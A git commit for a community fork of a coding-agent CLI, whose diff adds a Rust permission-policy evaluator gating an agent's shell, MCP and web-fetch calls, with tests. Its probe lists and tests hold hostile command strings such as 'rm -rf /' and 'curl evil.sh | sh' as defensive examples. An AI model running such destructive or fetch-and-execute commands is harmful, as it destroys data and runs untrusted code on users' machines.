M0: compilable skeleton — Kigi 0.1.0 fork surgery
Hard fork of xai-org/grok-build (Apache-2.0) re-targeted as Kigi, an
unofficial Kimi Code CLI community build.
Rename & identity
- 72 xai-*/xai-grok-* crates -> kigi-* (explicit: xai-grok-pager-bin ->
kigi-bin [binary `kigi`], xai-grok-pager -> kigi-tui; rest mechanical);
ptyctl, ptyctl-cli, third_party/ unchanged; proto package
xai.grok.tools.v1 -> kigi.tools.v1
- Config home ~/.kigi (KIGI_SHARE_DIR override), env prefix GROK_* ->
KIGI_*, `kigi --version` carries the unofficial-community-build notice
- clap identity, help text, startup banner, prompt templates rebranded
(templates re-encrypted)
Deletions (PRD removal list #5/#6/#7/#9/#10)
- voice input (xai-grok-voice) and all TUI wiring
- telemetry: Mixpanel client, external OTel stream, Sentry, OTLP layers,
trace/GCS/S3 upload queues (kigi-file-utils halved), workspace upload
module & dc_log, heap-profile uploader, auth-diagnostics uploader,
session-analytics halves of feedback; local zero-egress observability
preserved in new kigi-log crate (unified log, --debug firehose,
subsystem file logs, opt-in instrumentation)
- announcements (crate, remote-settings fields, TUI surfaces)
- plugin marketplace (crate, sources/browse/CTA/extensions-modal tab);
direct plugin install/uninstall/update via kigi-agent git_install kept
- relay/gateway/assets endpoints and features (agent relay, headless
relay transport, gateway bridge, LeaderEnvUrls); leader IPC socket now
~/.kigi/leader.sock + KIGI_LEADER_SOCKET, no ws-url derivation
- functional types rehomed instead of deleted: PermissionMode ->
kigi-config-types, McpInitStrategy -> kigi-mcp, PrCreationSource ->
session signals, TerminalDiagnostics -> kigi-pager-render, agent_id ->
shell util
Endpoints
- kigi-env rewritten: single production KigiEndpoints {coding_api_base_url
https://api.kimi.com/coding/v1 (KIGI_CODE_BASE_URL), oauth_host
https://auth.kimi.com (KIGI_OAUTH_HOST), update_base_url (GitHub
Releases API), upgrade_page_url}; GrokBuildEnvironment enum deleted
Toolchain & workspace hygiene
- Rust 1.97.0 pinned; edition 2024; full cargo update; git2 hoisted to
workspace at 0.21 (Option->Result API migration), quick-xml 0.41
- Root Cargo.toml hand-maintained (PRD §8.1): version 0.1.0 inherited by
all members, members sorted, unused deps pruned
- cargo-deny advisories gate (deny.toml with documented transitive
exceptions); CI workflow (check/clippy/fmt/deny/test, macOS+Linux)
- cross-crate test seams re-gated behind `test-support` cargo feature;
insta snapshot baselines renamed to the kigi_tui prefix
- clippy --workspace --all-targets: zero warnings; fmt clean
Fixes surfaced by the port
- updater probe/installer divergence (bin/kigi vs bin/grok symlink set)
- idle model-metadata refresh dead under KIGI_CODE_BASE_URL override
(new is_effective_coding_endpoint_url, loopback+override aware)
- macOS symlinked-TMPDIR fixture canonicalization (foreign_sessions,
fast-worktree); RSS measurement tests serialized via serial_test
Docs & legal (Apache §4)
- NOTICE added (upstream attribution + change statement); THIRD-PARTY
notices sustained; kigi-tools ported-code notices extended; README,
CONTRIBUTING, SECURITY, AGENTS.md rewritten
Out of scope for M0 (tracked): Kimi auth/inference (M1), search/fetch,
command parity, config import (M2), Computer Hub excision & final
brand-token sweep (M2), distribution & self-update rewrite (M3).
This commit is contained in:
@@ -0,0 +1,878 @@
|
||||
use crate::permission::bash_command_splitting::{all_commands_from_script, unwrap_wrappers};
|
||||
use crate::permission::shell_access::combine_decisions;
|
||||
use crate::permission::types::{
|
||||
AccessKind, Decision, PatternMode, PermissionConfig, PermissionRule, RuleAction, ToolFilter,
|
||||
};
|
||||
use kigi_tools::implementations::grok_build::web_fetch::domain::normalize_domain;
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
enum MatchContext {
|
||||
/// `*` respects `/` as a segment boundary; `**` crosses it.
|
||||
Path,
|
||||
/// `*` matches any character including `/`.
|
||||
Freeform,
|
||||
}
|
||||
|
||||
struct CompiledRule<'a> {
|
||||
rule: &'a PermissionRule,
|
||||
matcher: Option<&'a glob::Pattern>,
|
||||
}
|
||||
|
||||
/// Permission policy with pre-compiled glob patterns.
|
||||
pub struct CompiledPolicy {
|
||||
config: PermissionConfig,
|
||||
matchers: Vec<Option<glob::Pattern>>,
|
||||
/// True if any Read/Edit/Any deny/ask rule exists, so the shell file-access
|
||||
/// gate (`shell_access.rs`) should run. Read by `evaluate_shell_file_access`.
|
||||
pub(crate) has_file_restrictions: bool,
|
||||
/// True if any Bash/Any deny/ask rule exists, so the per-segment Bash command
|
||||
/// gate should run. Read by `evaluate_bash_command_policy`.
|
||||
has_bash_command_restrictions: bool,
|
||||
}
|
||||
|
||||
impl CompiledPolicy {
|
||||
pub fn new(config: PermissionConfig) -> Self {
|
||||
let matchers = config
|
||||
.rules
|
||||
.iter()
|
||||
.map(|rule| {
|
||||
rule.pattern
|
||||
.as_deref()
|
||||
.filter(|p| *p != "*")
|
||||
.and_then(|p| glob::Pattern::new(p).ok())
|
||||
})
|
||||
.collect();
|
||||
let has_file_restrictions = config.rules.iter().any(|rule| {
|
||||
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
|
||||
&& matches!(
|
||||
rule.tool,
|
||||
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Any
|
||||
)
|
||||
});
|
||||
let has_bash_command_restrictions = config.rules.iter().any(|rule| {
|
||||
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
|
||||
&& matches!(rule.tool, ToolFilter::Bash | ToolFilter::Any)
|
||||
});
|
||||
Self {
|
||||
config,
|
||||
matchers,
|
||||
has_file_restrictions,
|
||||
has_bash_command_restrictions,
|
||||
}
|
||||
}
|
||||
|
||||
/// Evaluate managed Bash/Any deny/ask command rules against every chained
|
||||
/// segment (wrappers like `timeout`/`env` peeled, `bash -c` scripts recursed
|
||||
/// into), not just the leading command. Escalation only: returns
|
||||
/// `Reject`/`Ask`, never `Allow`. A script that can't be decomposed fails
|
||||
/// closed to `Ask` rather than falling through.
|
||||
pub fn evaluate_bash_command_policy(&self, cmd: &str) -> Option<Decision> {
|
||||
if !self.has_bash_command_restrictions {
|
||||
return None;
|
||||
}
|
||||
self.evaluate_bash_command_segments(cmd, 0)
|
||||
}
|
||||
|
||||
fn evaluate_bash_command_segments(&self, cmd: &str, depth: usize) -> Option<Decision> {
|
||||
// Far deeper than legitimate `bash -c` nesting; fail closed rather than
|
||||
// let an over-nested script run unevaluated.
|
||||
if depth >= 8 {
|
||||
return Some(Decision::Ask);
|
||||
}
|
||||
let Some(segments) = all_commands_from_script(cmd) else {
|
||||
return Some(Decision::Ask);
|
||||
};
|
||||
let escalate = |segment: &str| match self.evaluate(&AccessKind::Bash(segment.to_owned())) {
|
||||
Some(Decision::Allow) | None => None,
|
||||
other => other,
|
||||
};
|
||||
let mut decision = None;
|
||||
for parsed in &segments {
|
||||
let raw_words = parsed.words();
|
||||
let unwrapped = unwrap_wrappers(raw_words);
|
||||
// Rules may target the wrapper or the wrapped program, so both forms
|
||||
// are checked — but only once when nothing was peeled.
|
||||
let forms = std::iter::once(raw_words)
|
||||
.chain((unwrapped.len() != raw_words.len()).then_some(unwrapped));
|
||||
for words in forms {
|
||||
decision = combine_decisions(decision, escalate(&words.join(" ")));
|
||||
if let Some(inner) = shell_dash_c_script(words) {
|
||||
decision = combine_decisions(
|
||||
decision,
|
||||
self.evaluate_bash_command_segments(inner, depth + 1),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
decision
|
||||
}
|
||||
|
||||
/// Evaluate using deny > ask > allow precedence (order-independent).
|
||||
pub fn evaluate(&self, access: &AccessKind) -> Option<Decision> {
|
||||
let mut matched_ask = false;
|
||||
let mut matched_allow = false;
|
||||
|
||||
for (rule, matcher) in self.config.rules.iter().zip(&self.matchers) {
|
||||
if !tool_filter_matches(access, &rule.tool) {
|
||||
continue;
|
||||
}
|
||||
let cr = CompiledRule {
|
||||
rule,
|
||||
matcher: matcher.as_ref(),
|
||||
};
|
||||
if !pattern_matches(access, &cr) {
|
||||
continue;
|
||||
}
|
||||
match rule.action {
|
||||
RuleAction::Deny => {
|
||||
let tool_label = match &rule.tool {
|
||||
ToolFilter::Any => "any tool",
|
||||
ToolFilter::Bash => "bash",
|
||||
ToolFilter::Edit => "edit",
|
||||
ToolFilter::Read => "read",
|
||||
ToolFilter::Grep => "grep",
|
||||
ToolFilter::Mcp => "mcp",
|
||||
ToolFilter::WebFetch => "web_fetch",
|
||||
ToolFilter::WebSearch => "web_search",
|
||||
};
|
||||
let reason = match &rule.pattern {
|
||||
Some(pattern) => format!(
|
||||
"Denied by permission policy: deny rule on {tool_label} matching \"{pattern}\""
|
||||
),
|
||||
None => format!("Denied by permission policy: deny rule on {tool_label}"),
|
||||
};
|
||||
return Some(Decision::Reject(reason));
|
||||
}
|
||||
RuleAction::Ask => matched_ask = true,
|
||||
RuleAction::Allow => matched_allow = true,
|
||||
}
|
||||
}
|
||||
|
||||
if matched_ask {
|
||||
return Some(Decision::Ask);
|
||||
}
|
||||
if matched_allow {
|
||||
return Some(Decision::Allow);
|
||||
}
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
impl From<PermissionConfig> for CompiledPolicy {
|
||||
fn from(config: PermissionConfig) -> Self {
|
||||
Self::new(config)
|
||||
}
|
||||
}
|
||||
|
||||
/// The inner script string of a `bash -c "<script>"` invocation (also `sh`,
|
||||
/// `dash`, `zsh`, `ksh`); `None` if the words are not such an invocation.
|
||||
/// Known residuals: option arguments (`-o pipefail`) and `+`-option words can
|
||||
/// mis-take the operand — escalation-only so a miss never allows; skipping `+…` would add a dodge.
|
||||
fn shell_dash_c_script(words: &[String]) -> Option<&str> {
|
||||
let program = words.first()?.rsplit(['/', '\\']).next()?;
|
||||
if !matches!(program, "bash" | "sh" | "dash" | "zsh" | "ksh") {
|
||||
return None;
|
||||
}
|
||||
let flag = words
|
||||
.iter()
|
||||
.skip(1)
|
||||
.position(|w| w.starts_with('-') && !w.starts_with("--") && w.contains('c'))?;
|
||||
// The script is the first operand after the `-c` cluster, not necessarily
|
||||
// the next word: more options may sit in between (`bash -c -x 'id'`), and
|
||||
// `--` / a lone `-` end option parsing with the operand following.
|
||||
let mut rest = words.get(flag + 2..)?.iter();
|
||||
while let Some(word) = rest.next() {
|
||||
if matches!(word.as_str(), "--" | "-") {
|
||||
return rest.next().map(String::as_str);
|
||||
}
|
||||
if !word.starts_with('-') {
|
||||
return Some(word.as_str());
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn tool_filter_matches(access: &AccessKind, filter: &ToolFilter) -> bool {
|
||||
match filter {
|
||||
ToolFilter::Any => true,
|
||||
ToolFilter::Bash => matches!(access, AccessKind::Bash(_)),
|
||||
ToolFilter::Edit => matches!(access, AccessKind::Edit(_)),
|
||||
// A Read rule also governs the Grep tool: grep reads file contents, so a
|
||||
// managed `Read` deny/ask on a path must block grepping that same path —
|
||||
// otherwise grep is a read-bypass. Grep-specific rules still use `Grep`.
|
||||
ToolFilter::Read => matches!(access, AccessKind::Read(_) | AccessKind::Grep { .. }),
|
||||
ToolFilter::Grep => matches!(access, AccessKind::Grep { .. }),
|
||||
ToolFilter::Mcp => matches!(access, AccessKind::MCPTool { .. }),
|
||||
ToolFilter::WebFetch => matches!(access, AccessKind::WebFetch(_)),
|
||||
ToolFilter::WebSearch => matches!(access, AccessKind::WebSearch(_)),
|
||||
}
|
||||
}
|
||||
|
||||
fn pattern_matches(access: &AccessKind, cr: &CompiledRule<'_>) -> bool {
|
||||
let pattern = match cr.rule.pattern.as_deref() {
|
||||
Some(p) => p,
|
||||
None => return true,
|
||||
};
|
||||
if pattern == "*" {
|
||||
return true;
|
||||
}
|
||||
|
||||
match access {
|
||||
// CWE-178: trim leading whitespace so deny rules cannot
|
||||
// be bypassed by prefixing commands with spaces.
|
||||
AccessKind::Bash(cmd) => {
|
||||
let cmd = cmd.trim_start();
|
||||
cmd.starts_with(pattern) || glob_matches(cmd, MatchContext::Freeform, cr.matcher)
|
||||
}
|
||||
AccessKind::Edit(path) => glob_matches(path, MatchContext::Path, cr.matcher),
|
||||
AccessKind::Read(path) => match path {
|
||||
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
|
||||
None => false,
|
||||
},
|
||||
AccessKind::Grep { path, .. } => match path {
|
||||
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
|
||||
None => false,
|
||||
},
|
||||
AccessKind::MCPTool { name, .. } => glob_matches(name, MatchContext::Freeform, cr.matcher),
|
||||
AccessKind::WebFetch(url) => match cr.rule.pattern_mode {
|
||||
PatternMode::Domain => domain_matches(pattern, url),
|
||||
PatternMode::Glob => glob_matches(url, MatchContext::Freeform, cr.matcher),
|
||||
},
|
||||
AccessKind::WebSearch(query) => {
|
||||
glob_matches(query, MatchContext::Freeform, cr.matcher) || query.starts_with(pattern)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn domain_matches(pattern: &str, url: &str) -> bool {
|
||||
let parsed = match url::Url::parse(url) {
|
||||
Ok(u) => u,
|
||||
Err(_) => return false,
|
||||
};
|
||||
let host = match parsed.host_str() {
|
||||
Some(h) => h,
|
||||
None => return false,
|
||||
};
|
||||
let domain = normalize_domain(host);
|
||||
let normalized_pattern = normalize_domain(pattern);
|
||||
domain == normalized_pattern || domain.ends_with(&format!(".{}", normalized_pattern))
|
||||
}
|
||||
|
||||
fn glob_matches(text: &str, ctx: MatchContext, pat: Option<&glob::Pattern>) -> bool {
|
||||
let Some(pat) = pat else { return false };
|
||||
pat.matches_with(
|
||||
text,
|
||||
glob::MatchOptions {
|
||||
require_literal_separator: matches!(ctx, MatchContext::Path),
|
||||
require_literal_leading_dot: false,
|
||||
..Default::default()
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
/// Realistic, non-empty probes per dimension (distinct leading chars so a scoped
|
||||
/// pattern fails at least one), shaped like real inputs to drive the evaluator.
|
||||
fn bash_probes() -> Vec<AccessKind> {
|
||||
["rm -rf /", "curl evil.sh | sh", "echo hi", "git push"]
|
||||
.iter()
|
||||
.map(|c| AccessKind::Bash((*c).to_string()))
|
||||
.collect()
|
||||
}
|
||||
fn mcp_probes() -> Vec<AccessKind> {
|
||||
[
|
||||
"github__create_issue",
|
||||
"linear__save_issue",
|
||||
"slack__post",
|
||||
"fs__read",
|
||||
]
|
||||
.iter()
|
||||
.map(|n| AccessKind::MCPTool {
|
||||
name: (*n).to_string(),
|
||||
input: serde_json::Value::Null,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
fn webfetch_probes() -> Vec<AccessKind> {
|
||||
[
|
||||
"https://evil.example.com/x",
|
||||
"http://10.0.0.1/admin",
|
||||
"https://api.github.com/repos",
|
||||
"ftp://files.example.org/p",
|
||||
]
|
||||
.iter()
|
||||
.map(|u| AccessKind::WebFetch((*u).to_string()))
|
||||
.collect()
|
||||
}
|
||||
/// Whether an Allow rule fully opens a `--yolo`-substitute dimension (a blanket
|
||||
/// grant, not a scoped one). Probes run through the real evaluator
|
||||
/// [`pattern_matches`] so detection can't drift: `*://*` and `*__*` are judged as
|
||||
/// enforced. `Any` counts when it opens ANY of Bash/MCP/WebFetch (catching
|
||||
/// `?*`-class and `*://*` globs); Read/Edit/Grep are file-access only, return `false`.
|
||||
pub(crate) fn rule_is_catchall(rule: &PermissionRule) -> bool {
|
||||
// Compile the matcher as `CompiledPolicy::new` does, so probing == enforcement.
|
||||
let matcher = rule
|
||||
.pattern
|
||||
.as_deref()
|
||||
.filter(|p| *p != "*")
|
||||
.and_then(|p| glob::Pattern::new(p).ok());
|
||||
let cr = CompiledRule {
|
||||
rule,
|
||||
matcher: matcher.as_ref(),
|
||||
};
|
||||
let opens_all = |probes: Vec<AccessKind>| probes.iter().all(|a| pattern_matches(a, &cr));
|
||||
match rule.tool {
|
||||
ToolFilter::Bash => opens_all(bash_probes()),
|
||||
ToolFilter::Mcp => opens_all(mcp_probes()),
|
||||
ToolFilter::WebFetch => opens_all(webfetch_probes()),
|
||||
ToolFilter::Any => {
|
||||
opens_all(bash_probes()) || opens_all(mcp_probes()) || opens_all(webfetch_probes())
|
||||
}
|
||||
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Grep | ToolFilter::WebSearch => false,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::permission::types::PermissionRule;
|
||||
|
||||
// ── pattern_matches tests ─────────────────────────────────────────────
|
||||
|
||||
fn rule_for(pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Any,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}
|
||||
}
|
||||
|
||||
fn domain_rule(pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::WebFetch,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Domain,
|
||||
}
|
||||
}
|
||||
|
||||
fn matches(access: &AccessKind, rule: &PermissionRule) -> bool {
|
||||
let policy = CompiledPolicy::new(PermissionConfig::new(vec![rule.clone()]));
|
||||
let cr = CompiledRule {
|
||||
rule: &policy.config.rules[0],
|
||||
matcher: policy.matchers[0].as_ref(),
|
||||
};
|
||||
pattern_matches(access, &cr)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_bash_pattern_matching() {
|
||||
let access = AccessKind::Bash("npm install".to_string());
|
||||
assert!(matches(&access, &rule_for("npm*")));
|
||||
assert!(matches(&access, &rule_for("npm install")));
|
||||
assert!(!matches(&access, &rule_for("cargo*")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rule_is_catchall_shares_the_evaluator() {
|
||||
let rule = |tool: ToolFilter, pattern: Option<&str>, mode: PatternMode| PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool,
|
||||
pattern: pattern.map(str::to_string),
|
||||
pattern_mode: mode,
|
||||
};
|
||||
let glob = |tool: ToolFilter, p: Option<&str>| rule(tool, p, PatternMode::Glob);
|
||||
|
||||
// Bare / universal / prefix-regime globs are catch-alls in every
|
||||
// substitute dimension, including `Any` (commands, MCP names, URLs, paths).
|
||||
for tool in [
|
||||
ToolFilter::Bash,
|
||||
ToolFilter::Mcp,
|
||||
ToolFilter::WebFetch,
|
||||
ToolFilter::Any,
|
||||
] {
|
||||
assert!(rule_is_catchall(&glob(tool.clone(), None)), "{tool:?} bare");
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("*"))),
|
||||
"{tool:?} *"
|
||||
);
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("**"))),
|
||||
"{tool:?} **"
|
||||
);
|
||||
// `?*` matches every non-empty input — the prefix-regime gap the old
|
||||
// empty-string probe missed, now closed for `Any` too.
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("?*"))),
|
||||
"{tool:?} ?*"
|
||||
);
|
||||
}
|
||||
// `Any(**/*)` is also universal (preserves the old Any-detector case).
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("**/*"))));
|
||||
|
||||
// Shape-specific catch-alls a bash-shaped probe missed, judged via the
|
||||
// real matcher.
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::WebFetch, Some("*://*"))));
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Mcp, Some("*__*"))));
|
||||
// `Any` also counts when it fully opens a single dimension (all web).
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("*://*"))));
|
||||
|
||||
// Scoped grants survive in every dimension; for `Any`, a pattern scoped
|
||||
// to one regime fails the others' probes.
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("git *"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("npm*"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Mcp, Some("github__*"))));
|
||||
assert!(!rule_is_catchall(&glob(
|
||||
ToolFilter::WebFetch,
|
||||
Some("https://api.example.com/*")
|
||||
)));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("src/**"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("git *"))));
|
||||
// Domain mode is judged by the real domain matcher: one domain is scoped.
|
||||
assert!(!rule_is_catchall(&rule(
|
||||
ToolFilter::WebFetch,
|
||||
Some("evil.example.com"),
|
||||
PatternMode::Domain
|
||||
)));
|
||||
// Read/Edit/Grep are file-access only: never a `--yolo`-substitute catch-all.
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Read, Some("**"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Edit, Some("*"))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_edit_path_mode() {
|
||||
// * doesn't cross / in path mode; ** does
|
||||
let access = AccessKind::Edit("/path/to/file.rs".to_string());
|
||||
assert!(!matches(&access, &rule_for("/path*")));
|
||||
assert!(matches(&access, &rule_for("/path/**")));
|
||||
assert!(matches(&access, &rule_for("/path/**/file.rs")));
|
||||
assert!(matches(&access, &rule_for("**/*.rs")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_web_fetch_domain_matching() {
|
||||
let access = AccessKind::WebFetch("https://api.example.com/v1/data".to_string());
|
||||
assert!(matches(&access, &domain_rule("example.com")));
|
||||
assert!(matches(&access, &domain_rule("api.example.com")));
|
||||
assert!(!matches(&access, &domain_rule("other.com")));
|
||||
// www. normalization
|
||||
let www = AccessKind::WebFetch("https://www.example.com/page".to_string());
|
||||
assert!(matches(&www, &domain_rule("example.com")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_none_and_wildcard_patterns() {
|
||||
// None pattern = match all (used by bare tool rules like "Bash" with no specifier)
|
||||
let none_rule = PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Any,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
};
|
||||
assert!(matches(&AccessKind::Bash("anything".into()), &none_rule));
|
||||
assert!(matches(&AccessKind::Read(None), &none_rule));
|
||||
|
||||
// Read(None) should not match a specific pattern
|
||||
assert!(!matches(&AccessKind::Read(None), &rule_for("src/*")));
|
||||
}
|
||||
|
||||
// ── tool_filter_matches tests ──────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_any() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_bash() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Bash
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Bash
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_edit() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Edit
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Edit
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_read() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Read
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Read
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_mcp() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::MCPTool {
|
||||
name: "fs".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
&ToolFilter::Mcp
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Mcp
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_web_fetch() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::WebFetch("https://example.com".into()),
|
||||
&ToolFilter::WebFetch
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::WebFetch
|
||||
));
|
||||
}
|
||||
|
||||
// ── evaluate tests ─────────────────────────────────────────────────────
|
||||
|
||||
fn evaluate_policy(access: &AccessKind, config: &PermissionConfig) -> Option<Decision> {
|
||||
CompiledPolicy::new(config.clone()).evaluate(access)
|
||||
}
|
||||
|
||||
fn bash_rule(action: RuleAction, pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action,
|
||||
tool: ToolFilter::Bash,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_deny_beats_allow() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_ask_forces_prompt() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Ask, "git push*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("git push origin main".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Ask)));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_deny_beats_ask() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Ask, "rm*"),
|
||||
bash_rule(RuleAction::Deny, "rm -rf*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn claude_bash_colon_wildcard_deny_rejects_by_prefix() {
|
||||
use crate::permission::rules::parse_permission_rule;
|
||||
// A `Bash(cmd:*)` deny must reject by command prefix, not sit as a dead `cmd:*` glob.
|
||||
let rule = parse_permission_rule("Bash(sed:*)", RuleAction::Deny).unwrap();
|
||||
let policy = PermissionConfig::new(vec![rule]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("sed -n '1,5p' file.txt".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
// Deliberate superset of upstream word-boundary `:*`: raw prefix also denies `sed-evil`.
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::Bash("sed-evil".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
// ── CompiledPolicy reuse tests ────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_compiled_policy_reuse_across_evaluations() {
|
||||
let compiled = CompiledPolicy::new(PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "npm*"),
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
bash_rule(RuleAction::Ask, "git push*"),
|
||||
]));
|
||||
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("npm test".into())),
|
||||
Some(Decision::Allow)
|
||||
));
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("rm -rf /".into())),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("git push origin".into())),
|
||||
Some(Decision::Ask)
|
||||
));
|
||||
assert!(
|
||||
compiled
|
||||
.evaluate(&AccessKind::Bash("cargo build".into()))
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
|
||||
// ── whitespace prefix bypass regression tests ─────────────────
|
||||
|
||||
#[test]
|
||||
fn test_bash_deny_not_bypassed_by_whitespace_prefix() {
|
||||
let policy = PermissionConfig::new(vec![bash_rule(RuleAction::Deny, "rm*")]);
|
||||
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("\trm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_bash_deny_not_bypassed_by_whitespace_with_glob() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls -la".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_bash_pattern_trims_whitespace() {
|
||||
let access = AccessKind::Bash(" npm install".to_string());
|
||||
assert!(matches(&access, &rule_for("npm*")));
|
||||
